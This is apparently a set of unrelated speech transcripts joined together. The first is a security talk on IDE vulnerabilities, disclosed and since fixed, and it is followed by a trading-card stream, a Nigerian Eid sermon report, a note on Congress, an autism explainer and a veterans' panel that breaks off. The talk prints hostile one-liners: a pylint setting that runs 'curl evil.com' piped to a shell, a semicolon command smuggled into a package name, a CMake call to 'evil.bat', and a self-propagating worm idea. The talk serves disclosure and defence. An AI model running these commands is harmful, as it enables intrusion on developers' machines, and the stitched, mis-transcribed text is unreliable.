Hi everyone, I'm David, and today we're going to talk about hacking IDEs. First, a little bit about myself. I'm a security engineer at Google where I work on web security. I'm focused both on developing new web security features, along with figuring out how to deploy them at a scale. Outside of work, I really enjoy hacking in both senses of the word. So I enjoy programming, working on silly programming projects, just for the joy of creating something. As much as I enjoy finding vulnerabilities, taking things apart, and working on bug bounties. So during the pandemic, I had a couple of months free when I was originally supposed to be taking time off to go traveling. And I spent a few months looking into IDE security. And I found and reported 30 or 40 different bugs in a bunch of different IDEs. So today, I want to go through a whirlwind tour of a bunch of these bugs. And one thing to note here, all of the bugs in this presentation have either been fixed or declared working as intended. So why hack developers? If you go after your standard production infrastructure, that's likely to be heavily hardened. Everyone thinks about attacking production. And because of that, that's where defenders put a lot of time and effort into. Developers, on the other hand, are a less common target. So chances are they are not as hardened as production. But because they're the creators of production, they maintain it and push new code to it, oftentimes developers have the ability to access production. So if you can hack them, you can then use their credentials to pivot into production. IDEs specifically are a really interesting target, in my opinion, because they've been getting more and more complex over time. And IDE is no longer just a text editor. Now it includes so many different fancy tools to provide autocomplete, to use AI autocomplete, to integrate with any tool you can imagine. And whenever you have all those integrations, you're more likely to have bugs. If you ask your average developer, or even your average security person, where the security boundary is when they open up something that they don't trust, they're likely to point to the Run button. So in this case, I personally would have thought if I don't hit Run, it would be totally safe to open up this random folder and look at some of the code inside of it. But it turns out most IDEs, at least used to see the security boundary, is just opening something to view it. And what makes all of this especially impactful is the fact that IDEs are extremely popular. Over half of all developers use VS code, one popular IDE that's made using a kind of web stack. It's built in HTML and JavaScript. So if you have a bug just in VS code, you already have the ability to target half of all developers. And then there are a couple others that once you find a way to attack those, number of developers you can attack just continues to go up. When the pandemic hit, I ended up with a lot of free time because I had plans to go traveling and that wasn't happening. So I started to look into VS code just because it's one that I personally use a lot. One really common vulnerability pattern in VS code stems from workspace settings. So VS code allows two different ways to configure settings. You have your standard user settings, which apply to everything on your computer. But there are also workspace settings and workspace settings are specific to a directory that you open. And the really interesting thing about workspace settings is the settings file is actually stored inside of this magic.vscode slash settings.json file inside of the project. So if you download some Git repo off the internet and open it up in VS code, it can supply its own workspace settings. So this is a really useful feature because it allows projects to configure themselves in a way that makes them easy to work with. Where this goes wrong is that VS code and a lot of VS code extensions have settings that are actually not safe to be configured by an untrusted party. So this isn't just changing the font size or changing benign settings. There are settings that actually can turn into code execution. So for example, the Python VS code extension made it possible to override the path to the Flake 8 binary. Flake 8 is a common Python linker. So it's meant to give you areas of your lines are too long. But by overriding the Flake 8 path to a binary included inside of a project, it was possible to convince the Python VS code extension to start executing code included in the project as soon as you view a file because the linker runs as soon as you view a file. So this is scary because it means viewing a file just to try to understand what a project is. For example, opening up a POC you downloaded off the internet. Isn't actually safe in the face of this. One really useful tool I used throughout all of this research was Strace. Strace is this amazing tool that allows you to run a command and log all of the syscalls that it makes. Syscalls are how commands or programs interact with the operating system and thus interact with any other resource on the computer. So every time they want to start a new process, open a thread, open a file, anything like that, that has to go through a syscall. So for example, if we wanted to run VS code via Strace, we would just run this and then we'd be able to look at all of the syscalls that it makes. What's so powerful about this is it allows you to understand the actual behavior of a program without having to read all of the source code. Ideas are huge and it just isn't practical to read every line of the source, but it is practical to review the syscalls and use that to understand how it works. So for example, you can cat this file and grep for enoant. Enoant is the return code that you get if you try to open a file that doesn't exist. So this allows you to know that VS code tried to open a file but it didn't exist and thus there might be some kind of special behavior for this. For example, it might be opening a config file and you might be able to poison that config file. You can also just grep for the open syscall. So this would find every file that it opens whether it exists or not. Another really useful one is grepping for the exec syscall. So this is how you launch another process running another command. So this makes it possible to look for kind of your standard command injection style attacks. One bug I found with this was a common one in a lot of JavaScript based extensions where most VS code extensions are developed in JavaScript. And the default behavior is that it will attempt to load the node modules folder in order to find the dependencies of that extension. But where this goes wrong is it will first attempt to load the node modules folder from the currently open project. So in this case, this was the JS hint extension which is another link there. So it runs as soon as you open a file and we see that it attempted to open the node modules slash the JS hint file within the currently open directory. So what this means is we could just put our own code in there some malicious JavaScript and it will helpfully just go and execute that as soon as you open a file when it tries to provide enter support. Another one also found VS trace was a command injection bug where npm is a common JavaScript package manager. And in package.json files which is how npm is configured VS code attempts to be helpful and wants to provide you information on the dependencies you have installed. So it goes and takes every dependency you have installed and passes it into npm view. The key thing to note here is that it does not escape the package name. So if you just have a package named semi colon space and then any command it will just start executing that. And this was just found via running it with S trace and looking for any time it runs exec. Moving on from visual studio code to visual studio which is a different IDE also made by Microsoft. One bug I found in this was with build configs. So visual studio supports CMake. CMake is kind of like make if you've ever used that. And it will by default run CMake in order to provide autocomplete for anything you open. Where this goes wrong is that CMake provides the ability to execute a command. So in this case, you can just execute process of evil.bat and that will run as soon as anything is opened inside a visual studio. I reported this to Microsoft and in contrast to all of the VS code bugs which were all treated very seriously and promptly patched. Their decision for this was that this is by design and there is no way to view scripts in visual studio without also executing them. So this is a fair bit of warning that VS code at least attempts to be safe when opening untrusted projects but visual studio does not. Something really interesting happened a couple of months later. Google's threat analysis group published a blog post that I was not involved with about a North Korean threat actor that was targeting security researchers. And what they were doing was they were reaching out to security researchers and asking for help debugging their zero days. And if the researcher agreed they would send them a zip file containing a visual studio project to open up. And inside of this visual studio project it used a very similar trick in order to get command code execution as soon as it was opened and then use that to poem the developer. What this shows in my opinion is that this attack vector is not just a theoretical concern. This is something that actual APT is out in the real world are using and they're using it to attack security researchers who are already relatively paranoid. So if you ever are given a zip file and told to open it by someone saying hey, I need some help, definitely be suspicious about that. One historical bug that I just wanna cover that I think is so fascinating is a bug in IntelliJ from 2016 where this person found that IntelliJ had a locally listening web server and that any website you open could talk to that web server via cores and ask it to open a project.  So for example, this was their POC where visiting local host was able to pop calculator with zero interaction. What's interesting about this is that when IntelliJ fix this, they fix this by preventing local host or any untrusted website from interacting with IntelliJ. They didn't fix this by blocking the opening a project being equivalent to code execution vector. So I reached back out to them to discuss this using pretty much exactly the same vector where you have a startup task and it can just execute any command. And this is a built-in feature of IntelliJ. And their initial reply was that they haven't decided what the fix should be because they need to make a trade-off between security and convenience. And this was a really common pattern when talking to IDE developers because IDE has tried to make developers' lives easier. They want to make it as efficient to make software as possible. And if you have to constantly warn someone about this risk, this risk, this risk, that's gonna annoy developers. Ultimately, IntelliJ did decide to fix this. And their fix is that whenever you open a project for the first time, if it contains a startup task, it warns you. And if you think that these bugs only apply to large, heavy-weight ID is like IntelliJ, you're sadly mistaken. So this was a fascinating bug from 2019 where Vim has a concept of mode lines, which are kind of analogous to VS Code and its workspace settings. And via mode lines, it turns out it was possible to get code execution just from opening a file. Again, with zero user interaction other than viewing a file. Tavis even found a great bug in Notepad where it was possible to take opening a file in Notepad, kind of the dumbest and most basic of editors and turn that into code execution. Where this gets even more interesting, in my opinion, is online IDEs. There's a big shift nowadays where companies are trying to have developers use online IDEs that run in the cloud. The idea behind this is that rather than running everything locally with limited resources on a laptop and having to worry about internet speed, processor speed and provisioning enough resources, developers can essentially be given a virtual machine in the cloud that their IDE runs inside of. So Google Cloud Shell, Azure, AWS, GitHub, all of these companies have their own solution for this. What makes these really interesting, in my opinion, is that they all include built-in cloud credentials, Google Cloud, Cloud9, Azure. And what this means is if you manage to get code execution inside of one of these VMs, it is already authenticated to access anything in the cloud that that developer has access to. So that makes these a really impactful target from a security perspective. I found a really fun bug inside of Google Cloud Shell. So Google Cloud Shell is built on top of Eclipse Thea. Eclipse Thea is an open source web IDE. And Eclipse Thea has support for Ruby via the Thea Ruby extension. And the Thea Ruby extension is then built on top of SolarGraph, which is an open source project maintained by a single person. So what's kind of interesting about this is that Google Cloud Shell, which has very strict security requirements, three levels down is depending on an open source thing that they really don't have very much influence over. So when I started reading the SolarGraph code, I found this hack, evaluating gem spec files violates the goal of not running workspace code, but this is how gemspecification.load does it anyway. And then you see it reads a file and evaluates it. So what this means is if someone opens something inside of their online Cloud Shell IDE, and it contains a gem spec file, it immediately evaluates that Ruby code. And that Ruby code can then start stealing the cloud credentials and acting as that user. There was a similar bug in the TypeScript language server also, where TypeScript made it possible to specify additional compiler plugins that provide support for different language features. And this in theory should be safe because all of these plugins are loaded from slash var slash and somewhere in there. But the classic dot dot slash trick actually just worked totally fine here. What both of these vulnerabilities have in common is that they both stem from a very, very sensitive application, in this case, Google Cloud Shell, using dependencies that have a very different threat model. So Google Cloud Shell, it's important that opening something does not turn into code execution. But for these other dependencies oftentimes made by a single person somewhere, this is actually an important barrier. AWS Cloud 9 also had a very similar bug where it, similar to VS Code, allows a project to include its own settings.  Pylint is another length there. This is a very common vector because linters always execute as soon as you view a file. And inside of these included workspace settings, you could provide pylint flags. And the interesting thing is that pylint supports a kind of bizarre feature where you could pass it an arbitrary expression to evaluate, and it will use that expression to score how well your code adheres to a coding style. So in this case, you can just pass a curl evil.com pipe shsh and that worked just fine. GitHub Codespaces is another one of these online IDs. From a security perspective, GitHub Codespaces has a really clever design, in my opinion, rather than trying to prevent code execution from happening, it runs every project in an isolated VM. And the idea is that one VM containing one code space for one repository can't interact or interfere with any other VM. Where this goes wrong is that GitHub Codespaces had a concept of setting sync. And setting sync made it possible to configure settings for one code space and have these get sent to every other code space. So this was a feature meant to be used for things like changing font size. But where this went wrong is if you opened an untrusted repository in GitHub Codespaces, that untrusted repository could easily get code execution inside of that isolated VM, and then it could configure settings for that entire code space, and those settings would then be synced everywhere else. And it turns out it was really easy to go and use those settings in order to sync command execution across VMs. The part that is absolutely terrifying to me about all of this is what happens if someone writes a worm. So the idea is you start with one developer, one person who has somehow been compromised, and they can push a bunch of malicious IDE configs to one repository, and you push vulnerability as an exploit for all of the ones we've talked about and more. And then people are gonna start viewing that, and they're gonna start looking at that one repository. And assuming they're using any common IDE, which as we established before, they probably are, then that worm can automatically propagate itself to every repository that they have control over. And then people are likely gonna view those repositories. And then this can keep on propagating exponentially and really has a lot of terrifying potential to spread really far. So I made a quick demo of this, so let's run through that. So here we have an empty repository.   So these will all execute worm.py whenever they're opened in the applicable IDE. So if you open this in VS code or IntelliJ or any popular IDE, it'll automatically execute the worm. And then that will look for any Git repositories on your computer and automatically backdoor them and then run Git push to push that up so as to continue spreading the worm. So we're gonna go ahead and get clone these. So we're just gonna clone it and then open it up in VS code. And then here in VS code, there's no hint of anything suspicious at all. Everything looks totally normal. No error messages, nothing of that sort. But if we go over here to what was an empty repository and wait a few seconds before we refresh, it has now been backdoored and contains all of these things and will continue spreading if anyone else opens it up. As I mentioned before, the core defense against this class of bugs is developers need to be prompted and need to be given a choice before code starts executing. VS code just came out with a new feature that helps defend against this class of bugs called workspace trust. And what this does is when you open something for the first time, you're asked whether or not you trust it and that defines whether it runs in trusted mode or restricted mode. And if it's in restricted mode, by default, it does not use any of the settings defined inside of that folder. And it also does not allow any extensions to run. So this makes it so it's a really minimal IDE when it's being used with untrusted code, but you still have the power of a full IDE if you trust a folder. So I just wanna say thank you to everyone I worked with on finding these bugs and getting them addressed. There are tons of different companies involved with fixing these. So thank you to everyone for that. I uploaded the POC from the demo to GitHub. You can also get these slides and a big shout out to a fantasy who originally kind of got me interested in this area of research when they published four different bugs in Google Cloud Shell. So I definitely recommend checking out that blog post. Thank you everyone. Bye.


Sorry guys in a separate video also to there was a couple of like dual left right sides and then quad Quad ones So let's actually do those randomize is really quick to so go left right side And I think there is like quad ones as well so Will top left top right Bottom left Bottom right Let's do those really quick to and non baseball. You're correct. There you go see Non baseball as well, so everybody's gonna get a chance at the non baseball Boom, that's all non baseball for everybody And then of course bottom left bottom right top right top left and then left or right. All right We'll go by the front of the card same visual for all four times one two three four and four times four times the right side, so Put these examples on here right side Four times here on this one one two three four Bottom right and then for non baseball four times one two three And it's like non baseball non sport whatever all those non NBA affiliate MLB affiliate ones Jeffrey, thank you for letting me know non sport. Look at that. That's close to you And There you go guys, thank you guys so much again So this randomizer will be in a separate video But if you guys want to watch the hour-long video, it'll be in a separate one guys. Thank you


In the meantime, the Muslim Syndicate of State joined the Fit for the Round the World to celebrate this year's 2022 Ido Cabrera Festival. The President, the League of Arthas and Imams in South West, Adu and Delta State, Hajji Jamio Kewuliri during his sermon at the Central Mosque prayer ground in Adricte, urged the Muslims to uphold lessons of love, loyalty and sacrifice, which are the foundation of the Salah celebration. He maintained that if such virtues were seen as a way of life, most especially by those in positions of authority, Nigeria would be a better place to live for all. Some of the Muslim faithful also expressed dissatisfaction with the spirit of terrorism, kidnapping and robbery, rape and other activities capable of disrupting the peace of Nigeria.  It's not justified anywhere or in any scripture that you kill your fellow human beings under any guise. Be it for religion's sake because Allah has even said it is the defender of his own religion. Nobody can defend it. All of us, all the Muslim faithfuls, including non-Muslims, to be patient and let us live in unity, in peace, because for this celebration it is for faith and total submission to Almighty Allah. So that's why we want all our people to believe in Almighty Allah and take this easy. What Almighty Allah has declared in the Holy Quran that Abraham is the best example for us. But today is a very sad event that people are enjoying today, celebrating, dancing, drinking and so on and so forth. But nobody has ever thought of how do I follow as Rati Ibrahim Ali, so that was the end. Even including we that were imams. As you get me now, so until when we are back to the foundation, then we see that Nigeria will turn a new leaf. Nigeria will become a paradise for us.


U.S. Congress, the House of Representatives, and the Senate together create what we call Congress. These two groups of elected lawmakers and the president govern the United States, creating new laws and deciding on issues that affect all Americans, such as taxes and declarations of war. Their meeting halls are in the U.S. Capitol Building in Washington, D.C., the Capitol of America.


Hello guys! Today marks the third in the series I am doing all this month on explaining lesser talked-about parts autism. As I said yesterday, what I want to be talking about is on perceptions in general. I mentioned more specifically how speech gets processed and for a bridal junction dive into that. Fundamentally, this winds up covering perceptions in general. If you're not familiar, it does get talked about a decent amount by other creators, but there are quite a bit of perceptual or sensory differences that are seen quite often with autism. Some people will describe it as like sensory integration disorder or sensory modulation differences. I'm going to be ignoring that specific language just because we're really not sure how best to describe it, but I am going to be delving into the neurology behind why this happens. So we have a very good understanding of why there are sensory differences and even perceptual differences that manifest into the behavioral differences, but we're just still trying to figure out how best to describe how they present. Very unusual. Usually it's the other way around. Usually we understand how to characterize them, but not why. But backwards this time, which is neat. So unlike previous videos and many future videos I'm going to be doing, I'm not going to be talking too much about the sources. There are a ton of them. I'm going to have several down in the video description, but there's there's a lot out there. I don't want to be really dry and analyzing all this stuff. Being like oh hey there was a specific abnormality in this type found in this very specific location in the brain. And I'm gonna bore you guys with that kind of stuff. Instead, how we're going to be doing this is looking at just sort of the general anatomy and then how some stuff varies with autism because there's a huge amount of variance even in the autistic in how the underlying stuff seems to actually happen. So general anatomy, this isn't this isn't neurology levels of explaining things. I'm going to be very vague. You have the cerebrum. This is the large largest part of the brain. When you think of like what the brain looks like, you're going to be thinking of the cerebrum. There are other parts like cerebellum, not going to get in explaining additional parts that don't really matter. But the cerebrum can be broken down into several lobes or texas. You have the frontal, which here. This is responsible for action and movement, although all their parts of the brain deal with these things. The brain is very vague, very abstract, but it generally speaking that's what deals with. You then have the parietal lobe, which is more like here. This deals primarily with sensory integration, although again, there's variancy. The occipital lobe, which is more like back here, deals more specifically with vision and brain doesn't have clear boundaries. But typically speaking, most sensory processing, especially having to do it like touch or where things are located, is done in the parietal lobe. Then as I said, the occipital lobe deals almost exclusively with vision in the back. Then the temporal lobe, which is more so like here. That deals with semantics, what things mean. After processing your sensory information, you see something that gets processed.  The temporal, general temporal region is going to be dealing with what that means. Unsurprisingly, memory is also located there for the most part. Again, it's very vague. Certain memories are located in different areas. Then the limbic system, which is more so inside. I can't really point to it because it's not as obvious, but it's wrapped around inside, connecting to multiple of those regions. This deals more with emotion. It used to be thought to deal primarily with smell, olfactory, and we're moving away from that. It seems to be much more related to emotion, although, again, with the brain being vague, the frontal lobe deals with that as well. I have to explain all of that in very general terms because with autism, you see a higher degree of variance in the temporal parietal junction, which is the area between the parietal lobe senses and the temporal lobe semantics in memory. I have to say variance here because, depending on the specific group of autistic people you're looking at, you see entirely different reasons for why this is the case at all. In some cases, it's under development of that region. In some cases, it's lesions to that part of the brain. In some cases, it's size differences in both directions, so it's not just that it's underdeveloped, but certain parts are overdeveloped, which I hate that terminology because... That seems to be the result of genetic CNV, which is copy number variations, so the gene isn't mutated, but there's more or less of it than there would normally be, causing the differences in proteins, which then differences in the size of the brain. If you didn't understand most of what I just said, that's fine. The key part is you've got different parts of the brain. There's this very particular region that deviates from autism, and it's specifically dealing with the point at which sensory information gets interpreted and more memories get that specific boundary. So the senses get processed fine, memories get stored fine, meaning is determined fine, the boundary between them is different, though. What this winds up leading to, and I'll have some examples in a second, but what this winds up leading to is that the same experience gets perceived differently depending on whether you're autistic or not, and so this leads to differences in perception and perspective. More particularly to what I mentioned last time with Bernice's area, this is part of the temporal parietal juncture and deals specifically with the processing of speech. Or at least that's how it's usually described. In typical brain fashion it's a little more abstract. It'd be more correct to say it deals with processing of language. For example, despite everything you hear from another person getting sent through Bernice's area, this also happens when you read text. It's like you've got closed captions on, like you're reading video description or anything else. What winds up happening is it goes to the occipital lobe because you're looking at it, winds up going through the angular gyrus and then into Bernice's area where it still gets processed. Same way because it's language. Essentially, Bernice's area winds up taking that information as well as pulling from your memories, going like, hey, this semantic unit, what does this mean? Word, symbol, whatever it is. At that point your brain's already recognized its language. It's just where's the memory for this? Who pulls that and interprets it? Again, as I had stated, the formation of memories still winds up being fine. This is why autistic people are typically not forgettable. Distractable, yes. But typically have quite good memories. It's not a memory problem. But the same kind of stimulus will yield different memories. Essentially, what I'm trying to describe without getting like crazy heavy into neurology and completely losing the majority of the audience is this is why the differences that were described with the double empathy problem exist. It's not behavioral, it's neurological. Then differences in the brain cause you to perceive the world in a different way, cause you to experience the world in a different way. And so as a result, you get different and sometimes incompatible perspectives on things, that's been difficult. This isn't the result of being defiant anything else. The result of experiencing the world in a way that other people don't experience. And how can you possibly explain that to another person? It's hard, because it's an issue on both sides. If I perceive the same thing different from you, I don't really understand how you're perceiving it any better than how you understand how I'm perceiving it. We can try to communicate that and hopefully wind up getting those perspectives through to the other person. But that doesn't always work. Even if it's autism isn't part of the equation at all. You've got somebody of low economic status and somebody of very high economic status inherited wealth. They're trying to describe their personal daily difficulties. They're not going to understand each other and think each other to be dates. Sort of that kind of thing. These sensory and perceptual differences wind up explaining most of the condition. As many other autistic creators have commented on, there tends to be a lot of hyper or hyposensitivity to like certain fabrics or smells or foods, whether it's taste or texture or whatever it is. And this is a large part of why it's getting perceived in a different way. And that way happens to be either problematic or more pleasant than it would normally be. It's not that there's anything wrong with the perception. It's not a hallucination or it's not like it. It's just different. I personally quite unfavorable to cotton. I really don't like cotton fabrics. Others really do. But what would normally be like a minor, oh yeah, it's kind of better. But if it's not cotton, it's not a big deal or whatever, I have almost discerval reactions to it because essentially because of this. If things are particularly bad enough, this can lead to great difficulty interpreting other speech and may explain why certain responses from the autistic when you're talking to them doesn't quite match up what you said. It's not that they don't know what to respond appropriately, but that it's not being processed right. So it's more of like a voice specific deafness, which is really hard to get across to other people. You're hearing other things fine, the ears work fine, the parts of the brain that deal with processing sound in general works fine. But processing speech or language itself is where it breaks down. So what's understood as deafness doesn't norm doesn't get across to other people. And left with this sort of frustration over, Hey, how do you explain this? It's not too bad in my case, but I went up occasionally with some problems. Like having to have somebody repeat something three or five times more times, because I'm just not getting it. And it's obvious to even me that I'm hearing it fine. It's not like there were clarity issues with person mumbling or whatever. It's just, I'm hearing it, but it's not clicking. It's likely you've had that happen. It just, it's a lot more common in the autistic. One thing that is particularly interesting and kind of gets us away from Oh, this is like malfunctioning or dysfunctioning of these areas. And more towards this is just a difference. Is that there's a huge amount of shared perspective in this that the way it deviates and autism seems to be rather consistent. I have a specific example. There will be a link down in the video description, but it's to a autistic TikToker, Isaac Wolfe. And the specific video is on a little skit of her receiving a gift, pretending to be her older or younger, six year old self in a rather typical autistic reaction. I'll let you watch for yourself. But one thing to also pay attention to while you're watching that looks through the comments. And it's interesting how many other autistic individuals report the exact same kind of response. And the reasons for that response, that's a huge giveaway on how the situation is being perceived differently.  It's not misbehaving. It's just having a different perspective. The fact that it's so consistent between the autistic is interesting. Essentially, the double empathy problem just explained through the neurological underpinnings. I don't know what I want to do for a video next time. I was thinking maybe the neurological reasons for decreased facial affect, but I'm not sure. There's a lot of options. And I, you know, first three days, kind of, there was a logical progression from one to the other. But I can't really take this anywhere else. So something else, I'll figure out something for tomorrow, but it'll have to be a surprise. So hopefully, this has been insightful, learned useful things. Until then, have a good one, guys.


Hello from DAV. I'm Elizabeth DePompe and I'll be your moderator for a very special discussion with three incredible veterans. Last month, DAV released Women Veterans, The Journey to Mental Wellness. This report is one of the most comprehensive assessments of the unique risk factors contributing to suicide among women veterans and how the system charged with their mental health care can and must do better. The stakes couldn't be higher or the timing more urgent. According to the latest data from the Department of Veterans Affairs, the suicide rate among women veterans jumped nearly 25% between 2020 and 2021. That's nearly four times higher than the increase among male veterans and vastly higher than the increase among non-veteran women. Using the latest in research and data, combined with a thorough review of the VA's services and practices, DAV's report reveals that too many women veterans are at risk of falling through the cracks due to gaps in life-saving mental health care that accounts for their unique experiences. In light of the report findings, DAV made over 50 policy and legislative recommendations intended to spark necessary and urgent change that can save lives. The good news is there's no shortage of dedicated veterans advocates determined to make a difference. I'm joined by three of them and they're all here to share their personal stories and perspectives in hopes of moving the needle forward. First, meet Naomi Mathis, an Air Force veteran and a DAV Assistant National Legislative Director who worked closely on DAV's new report. Next, we have Julia Taylor, a Connecticut Army National Guard and Army veteran and the former commander for the DAV Department of Connecticut. And last but certainly not least, we have Kim Huberz, a South Dakota Army National Guard veteran. Kim is the commander of DAV Chapter 1 in Sioux Falls, South Dakota and DAV's 2023 Disabled American Veteran of the Year. Julia and Kim are also members of DAV's Interim Women Veterans Advisory Committee. Thank you all so much for being here and doing this today. Thank you for having us. Let's go ahead and jump in. So I want to start by talking a little bit about the report and then we'll get into some of your personal experiences. So this is for everyone and Naomi, we'll start with you. We know that mental health and suicide are important topics in the veteran community at large. Why is it important that we have a conversation and a report specifically for women veterans? Well, women veterans are the fastest growing cohort of veterans and over 650,000 female veterans are using the VA healthcare system. And as you stated before, the suicide rate unfortunately has gone up. There are some unique risk factors that are associated with being a woman veteran.  In fact, among veterans that are enrolled in the VA system, one in three women report experiencing MST, things like intimate partner violence. One in five women report using VA primary care report experiencing intimate partner violence. There are other things like substance use disorder, mental health related to reproductive health issues. So it's important to make sure that with the growing number of women veterans that VA is able to handle all of those women that are coming into the system. Absolutely. Kim, what about you? Why do you think it's important that we're having this conversation specifically about women veterans and mental health? I think it's incredibly important based on a lot of the findings from the research too that have come out. How many more times likely female veterans are to consider suicide or to attempt suicide than civilians? How many more times female veterans are more likely to attempt suicide than male veterans? I mean, a lot of things that maybe we're not used to hearing or we haven't heard before, we thought the opposite. So it's pretty staggering to see the research come out and what the findings are. Julia, how about you? Why do you think this is important or what does it mean to you to see this kind of conversation happening? This is extremely important. I think mainly to kind of bring it home a little closer. Most single parents are women. And unlike our male counterparts, when we come back from serving in the military, many of us have another duty to step right into when we come home. There's no time for break. And oftentimes we don't consider ourselves first. And mental health and other services, medical health is one of the last things on our minds. We take care of our children, we take care of our homes, we check on parents, we check on our battle buddies, and we don't normally take care of ourselves. So having a platform like this and having this report is just a reminder that we need to look out for each other and also make sure that we are taking care of first. So I know obviously Naomi's very familiar with the report findings. You both have had some time to sit with those findings. What was most surprising to you or what will really stick with you? I'll start with you, Julia. I think for me the gaps because I knew the gaps were there. I had the gaps were there when I needed services. The gaps are there now. My daughter, my stepdaughter, both serving and I want to make sure that this people know about what's going on, the community know about what's going on. So the gaps just let me know that there's more work to be done. So that was really staggering to see those gaps. Learning that a lot of the suicidal or the suicide models don't include MST. They don't ask. There's a lot of false reporting of how many women actually have it. As in women aren't reporting it or they're not being asked properly. They're not being explained maybe what the whole entire range of MST encompasses. And that was pretty hard to read knowing that that's a huge risk for suicide and mental health. Naomi, you talked already a little bit about the unique challenges and risk factors that women veterans face. Can you talk a little bit more about maybe some of those gaps that DAV found? Sure. I'll speak to Kim's point and that is the VA has an innovative model to predict suicidality and intervene with high risk veterans. But it uses male veterans as the baseline and it does not consider MST as a factor. So that would be one of the gaps. And then one of the solutions that we came up with was that VA must revise this model. It's an AI is what it is. And they must incorporate the risk factors that are unique to women veterans and to include military sexual trauma. And I think that's a really good example too when we talk about gendered tailored care, right? Because we know that women have unique experiences and those need to be accounted for. Can you talk about how this report can be used now as a tool for advocacy and how we at DAV will use this information? Absolutely. So we have over 50 different research and policy and legislative recommendations. And the way that we're going to use it is just as we're doing it now, we're up on Capitol Hill, we're speaking to the staffers, we're speaking to the congressman, we're speaking to the senators. And we're going to present them with these findings, with these gaps and show them, hey, this is what needs to be done. Things like, you know, we even have a recommendation in there for the Department of Health and Human Services to make a number similar to 988 because of the prevalence of intimate partner violence that exists in the veterans community. We felt that it was important for a woman that is dealing in a situation that, you know, sees no way out, is in crisis and, you know, is desperate. It would be easier for her to remember a three-digit number, such as the veterans or the suicide crisis line. It's 988, right? 988 and if you're a veteran, press one after that. So we felt that if they did something similar to that with intimate partner violence, that woman will then be able to remember whatever that number is, rather than 1-800, you know, I'd say. So we even came up with a recommendation for them. And I know you've already been getting a lot of great feedback from these legislators and people in the VA community. Like they're excited about this work, of course, which there weren't gaps or this need, but we're excited to, you know, dig into the work. Can you also talk a little bit about the resolutions process and how DAV members actually help set our critical policy goals? Sure. So the resolutions process works in the way that we have members that belong to different chapters around the country. And in their chapters, what they can do is they can put forth a resolution, essentially a legislative idea or a policy idea. And they can, they write it out, they can reach out to us here in D.C. for assistance, and then the members of the chapter will vote on it, whether or not they want to move it forward. Once it's voted on, it then moves forward to the State Department. And so let's just take South Dakota, for example, the resolution will go to South Dakota during their state convention, and that member body will be able to vote on it and move it forward on up to our national convention, which we hold annually. Once that resolution is adopted, it is then essentially law for DAV, right? For us to advocate for that and push to get that into legislation. Also, if there is a piece of legislation that comes out, then we are able to support that legislation if we have that resolution in place. And so it's very important that our members get involved. And if they have a great legislative idea, bring it forward to the chapter and let the member body vote on it. Thank you for walking us through that. Sure. And kind of on that same note, speaking of involved members, which both of you are, Kim, how do you think this report will help you in working in your veteran community? Being able to have conversations and being able to not only see that there's gaps, and we do VA stakeholder meetings once a month. So being able to actually go to our local VA and say, here's what we found at DAV. Here's what we found nationally. Here are the gaps. What are you doing here? Are these issues here? Are they not here? How are you following it? How are you following it up? It also helps to connect to female veterans that are out there to be able to explain to them you're not alone. We have these findings. Are you okay? It reminds us to check in on one another and look out for each other, too, along the way. And that's important. I'm sorry. The picture I gave you was more on a from chapter to national level and then how we implemented on the national level. But that's important, too, is that they're doing the work down on the ground at the chapter level and engaging with who is around. That's very important. Yeah. And absolutely engaging is the word that comes to mind with the question because engaging the community. Because I do believe that people do want to help veterans. Companies do want to hire veterans, but they don't know how to. And bringing this information back to the community, back to the chapters, back to our families. We can start talking about it and then do more, start doing something about it. Sometimes you talk about it and it just get roll over. But when it gets to a place like DAP is talking about it, it's on the capital, a million deep or more. So now we're like boots on ground. We're doing something about it. So this is really good. Like Naomi mentioned, there are over 50 recommendations in this report. So talking about solutions. We're not just talking about it. Absolutely. Here are steps that we can actually take. I want to jump in and talk a little bit about your military experience and your own personal journeys. Let's start with, with why did you enlist and what was most rewarding about your service? We'll start with you, Naomi. So the reason I enlisted was I just, I needed stability. It was a single parent with two little girls and I was in a terrible marriage. So essentially a single parent. And I needed stability. Benefits. And so I joined the military. I figured that, you know, seemed to be the best way to go. And that was my why was for my children. And what did you love most about your service? Gosh, everything. Really, I, the camaraderie, I would probably put at the, at the top of the list, the camaraderie with my brothers and sisters. And they truly are my brothers and sisters to this very day. Yeah. I hear that from a lot of veterans in terms of, you know, why they stayed, which is often a different reason for maybe why they enlisted. It's that camaraderie. Kim, what about you? Why did you enlist and what kept you in? I remember being a little girl and drive on vacation and looking out the window and seeing a convoy of trucks drive by. And that stuck with me. I mean, I don't know why. I got to be 16 and any chance to escape my home was, was a great, a great chance for me. And recruiters came and said, Hey, come be with us at, at Camp Dodge in Iowa for the weekend. We'll have a great time. They gave us pizza. We played video games. We were repelling. It was wonderful. Nothing like the actual military, but it was fun. And so I knew at 16, for sure, this is what I wanted to do.  But when she was well enough, I joined and I remember going to see the recruiter and going down and he showed us a couple of different trucks. And I saw the truck that I wanted. I said that one, I want to drive that one. And so that's what started for me. I just, I wanted to do something more than myself. And for some reason I was always drawn to it. I don't know. I never, I would have never guessed I'd end up being a truck driver and that little girl that saw that convoy go by. She knew, I guess. Juliet, how about you? Why did you? So mainly, like Naomi, for my, for my children. And so I never had an idea about the military. I was born and raised in Jamaica and I, my thing was I'm going to go to school. And I knew that the job I wanted, I wasn't quite sure what title I want. But I knew that I need, I need education. I need training. I need stable housing. I need security, you know, I need all that. And I literally, I was in school.  I went downstairs and she said, did you bring your stuff with you because your check bounce? And you can no longer continue the course. And there was Sergeant Ranny, a drill sergeant, a recruiter downstairs at the time. And he says, you know, I can tell you about an opportunity that, you know, will pay for school, you know, and help you with housing and all that good stuff. So I did, I joined and didn't quite go that route. It took a while for education to come in. But, you know, but yeah, that was my thing. I knew that stability I wanted for my children was going to come through some training education. And absolutely that's been provided for. And what kept you in service? What did you love most about it? Oh, definitely like Naomi is my friends. Yeah, who became my family.  So it's that family dynamics that I believe I needed to kind of keep me grounded, but I found and I still have to this day. I know all of you loved your service and are very proud of it. Obviously it doesn't come without challenges. Naomi, I want to start with you. What event or challenge did you experience in the military that you think most impacted your mental health? So what impacted my mental health the most was, you know, we were on a convoy and it was our second day of our convoy pushing up from Kuwait on up to Iraq. This was in 2003 and we somehow there was an explosion and one of my brothers was killed and saw him, you know, his body basically go by us on the convoy as we had to hurry up and bug out of there, because we had pulled over to the side of the road for a second.  And we still, it was the beginning of the mission. We still had, we were there, we were supposed to be there for a year, so we still had a whole year left to do the mission. And we were essentially told we were given our time to grieve because the mission had to then start and we had to focus on that.  And there was fireworks like the 4th of July. So that is what I can kind of pinpoint to as far as the, you know, most 